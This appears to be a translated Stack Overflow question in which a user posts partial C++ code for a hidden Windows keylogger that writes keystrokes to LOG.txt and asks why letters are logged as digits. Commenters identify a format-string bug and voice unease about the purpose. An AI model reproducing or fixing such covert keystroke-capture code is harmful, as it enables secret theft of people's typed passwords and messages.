【发布时间】:2015-04-10 21:27:11
【问题描述】:
我访问 stackoverflow 已经有一段时间了,这是我在这个网站上的第一个问题 :) 我正在尝试编写一个键盘记录器,它将按下的键保存在 .txt 文件中,但问题是这样的。我用 cout 检查了 cmd.exe 上的输出,发现它工作正常,但是当我打开 LOG.txt 文件时,我看到程序将 abcdefgh 打印为 012345678。只有这些非大写字母不起作用。每个其他密钥都在文件中正确打印。 这是我的主要功能:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
保存功能:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}
【问题讨论】:
-
一想到你程序的意图,我就有点害怕......话虽如此,真是有趣的话题。 +1
-
fprintf(OUTPUT_FILE, "%s", &key);看起来有各种各样的错误,因为 key 是一个 int。你可能想要%c而不是&。 -
看起来你偷了这个问题的代码? stackoverflow.com/questions/29200195/…
-
@BenVoigt 不,我没有。不过我看到了这个问题。
-
我认为在某处可能有这样的键盘记录器在线教程。这是另一个类似代码的问题:stackoverflow.com/questions/15392731/c-simple-keylogger?rq=1
标签: c++ windows winapi file-io keylogger